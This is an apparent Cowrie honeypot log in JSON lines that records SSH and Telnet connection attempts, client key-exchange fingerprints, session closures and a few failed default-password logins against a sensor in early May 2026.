{"eventid":"cowrie.session.closed","duration":30.556154012680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:04.197084Z","src_ip":"159.223.86.167","session":"9cfdbd7e73ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47156,"dst_ip":"159.203.135.109","dst_port":23,"session":"2440c39e39d3","protocol":"telnet","message":"New connection: 159.223.86.167:47156 (159.203.135.109:23) [session: 2440c39e39d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:05.423693Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57634,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f9e0ba8917","protocol":"ssh","message":"New connection: 176.65.139.103:57634 (10.17.0.5:22) [session: 07f9e0ba8917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:05.555421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:05.566783Z","src_ip":"176.65.139.103","session":"07f9e0ba8917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:05.675366Z","src_ip":"176.65.139.103","session":"07f9e0ba8917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:05.965022Z","src_ip":"176.65.139.103","session":"07f9e0ba8917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51254,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81e7a89dcc2","protocol":"telnet","message":"New connection: 159.223.86.167:51254 (159.203.135.109:23) [session: b81e7a89dcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:06.443146Z"}
{"eventid":"cowrie.session.closed","duration":30.71272921562195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:06.473468Z","src_ip":"159.223.86.167","session":"72c4f8a046e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29704451560974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:06.609158Z","src_ip":"213.136.75.179","session":"acbee0e709f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec30b242296","protocol":"telnet","message":"New connection: 213.136.75.179:52720 (10.17.0.5:23) [session: cec30b242296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:06.753645Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:07.068253Z","src_ip":"176.65.139.103","session":"07f9e0ba8917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52724,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb6533e5810e","protocol":"telnet","message":"New connection: 213.136.75.179:52724 (10.17.0.5:23) [session: eb6533e5810e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:07.219813Z"}
{"eventid":"cowrie.session.closed","duration":37.4606728553772,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:08.397145Z","src_ip":"185.26.126.47","session":"c65815b3db56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015959978103638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:09.164440Z","src_ip":"159.223.86.167","session":"b8ec8efd8795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.390467166900635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:09.344244Z","src_ip":"159.223.86.167","session":"65c4f95841a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58672,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a72cf6f0774","protocol":"telnet","message":"New connection: 213.136.75.179:58672 (10.17.0.5:23) [session: 0a72cf6f0774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:09.591589Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36258,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfeca3ac163","protocol":"telnet","message":"New connection: 159.223.86.167:36258 (159.203.135.109:23) [session: bcfeca3ac163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:09.795142Z"}
{"eventid":"cowrie.session.closed","duration":31.706110954284668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:09.909610Z","src_ip":"159.223.86.167","session":"e63207f27761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb505be99161","protocol":"telnet","message":"New connection: 159.223.86.167:37552 (159.203.135.109:23) [session: bb505be99161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.140634Z"}
{"eventid":"cowrie.session.closed","duration":30.556326627731323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.173997Z","src_ip":"159.223.86.167","session":"e4b66c3fb6d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530930280685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.180921Z","src_ip":"37.220.31.6","session":"647cc0287095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34130883216858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.297590Z","src_ip":"159.223.86.167","session":"a886ed835128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39706,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6e8c362740","protocol":"telnet","message":"New connection: 159.223.86.167:39706 (159.203.135.109:23) [session: eb6e8c362740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.641811Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40046,"dst_ip":"159.203.135.109","dst_port":23,"session":"184ff930aaf0","protocol":"telnet","message":"New connection: 159.223.86.167:40046 (159.203.135.109:23) [session: 184ff930aaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.738008Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40766,"dst_ip":"159.203.135.109","dst_port":23,"session":"90982b340297","protocol":"telnet","message":"New connection: 159.223.86.167:40766 (159.203.135.109:23) [session: 90982b340297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:10.885749Z"}
{"eventid":"cowrie.session.closed","duration":31.410191535949707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.152099Z","src_ip":"213.136.75.179","session":"b440bfee60e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56140,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc0d3cf47bf","protocol":"ssh","message":"New connection: 159.203.92.129:56140 (159.203.135.109:22) [session: ecc0d3cf47bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.224808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.230086Z","src_ip":"159.203.92.129","session":"ecc0d3cf47bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.235466Z","src_ip":"159.203.92.129","session":"ecc0d3cf47bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"abc123","message":"login attempt [anonymous/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.249170Z","src_ip":"159.203.92.129","session":"ecc0d3cf47bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"e753b445b641","protocol":"telnet","message":"New connection: 159.223.86.167:42572 (159.203.135.109:23) [session: e753b445b641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.295714Z"}
{"eventid":"cowrie.session.closed","duration":31.034925937652588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.484958Z","src_ip":"159.223.86.167","session":"2ae446e3baa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.790245056152344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.684557Z","src_ip":"159.223.86.167","session":"81097ef23458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.567529678344727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.693612Z","src_ip":"159.223.86.167","session":"3b9c73eea192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08863353729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:11.884735Z","src_ip":"159.223.86.167","session":"084b4e439b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:12.274688Z","src_ip":"159.203.92.129","session":"ecc0d3cf47bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.945444345474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:12.294920Z","src_ip":"159.223.86.167","session":"c0fdfc4b35ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47058,"dst_ip":"159.203.135.109","dst_port":23,"session":"be49e59e898e","protocol":"telnet","message":"New connection: 159.223.86.167:47058 (159.203.135.109:23) [session: be49e59e898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:12.299704Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff0556f5b60","protocol":"telnet","message":"New connection: 159.223.86.167:47378 (159.203.135.109:23) [session: 2ff0556f5b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:12.394503Z"}
{"eventid":"cowrie.session.closed","duration":31.786375045776367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:12.740047Z","src_ip":"159.223.86.167","session":"ef0e35e3c4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40790,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ed3c86c65a","protocol":"ssh","message":"New connection: 176.65.139.103:40790 (10.17.0.5:22) [session: 01ed3c86c65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:13.320175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:13.336761Z","src_ip":"176.65.139.103","session":"01ed3c86c65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:13.420049Z","src_ip":"176.65.139.103","session":"01ed3c86c65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:13.758914Z","src_ip":"176.65.139.103","session":"01ed3c86c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.957099676132202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:14.205080Z","src_ip":"159.223.86.167","session":"d72a00f9ccf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55344,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e6581a428c","protocol":"telnet","message":"New connection: 159.223.86.167:55344 (159.203.135.109:23) [session: c4e6581a428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:14.235698Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.107.77.203","src_port":53690,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82b08acadcc","protocol":"telnet","message":"New connection: 86.107.77.203:53690 (159.203.135.109:23) [session: e82b08acadcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:14.346185Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:14.871001Z","src_ip":"176.65.139.103","session":"01ed3c86c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.496181964874268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:15.250402Z","src_ip":"159.223.86.167","session":"bd278b138910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198196172714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:16.270213Z","src_ip":"159.223.86.167","session":"51beac36b026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74699807167053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:16.796998Z","src_ip":"213.136.75.179","session":"aa58d0f04c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163888931274,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:17.390163Z","src_ip":"176.251.64.35","session":"4e358a47ad14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44034,"dst_ip":"159.203.135.109","dst_port":23,"session":"a582fe6793ed","protocol":"telnet","message":"New connection: 159.223.86.167:44034 (159.203.135.109:23) [session: a582fe6793ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:18.040034Z"}
{"eventid":"cowrie.session.closed","duration":30.71669316291809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:18.137842Z","src_ip":"159.223.86.167","session":"e67a5b51b9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44454,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa503dfecad","protocol":"telnet","message":"New connection: 159.223.86.167:44454 (159.203.135.109:23) [session: 6fa503dfecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:18.157127Z"}
{"eventid":"cowrie.session.closed","duration":30.334227800369263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:18.208228Z","src_ip":"159.223.86.167","session":"a173a5ceb4ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":46252,"dst_ip":"159.203.135.109","dst_port":23,"session":"533831c451ae","protocol":"telnet","message":"New connection: 159.223.86.167:46252 (159.203.135.109:23) [session: 533831c451ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:18.630852Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0a637b4e4fa","protocol":"telnet","message":"New connection: 159.223.86.167:52074 (159.203.135.109:23) [session: d0a637b4e4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:19.987466Z"}
{"eventid":"cowrie.session.closed","duration":30.672885417938232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.297033Z","src_ip":"159.223.86.167","session":"078fc188e2e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40810,"dst_ip":"10.17.0.5","dst_port":22,"session":"1443c65a3cea","protocol":"ssh","message":"New connection: 176.65.139.103:40810 (10.17.0.5:22) [session: 1443c65a3cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.306239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.310685Z","src_ip":"176.65.139.103","session":"1443c65a3cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.393799Z","src_ip":"176.65.139.103","session":"1443c65a3cea","protocol":"ssh"}
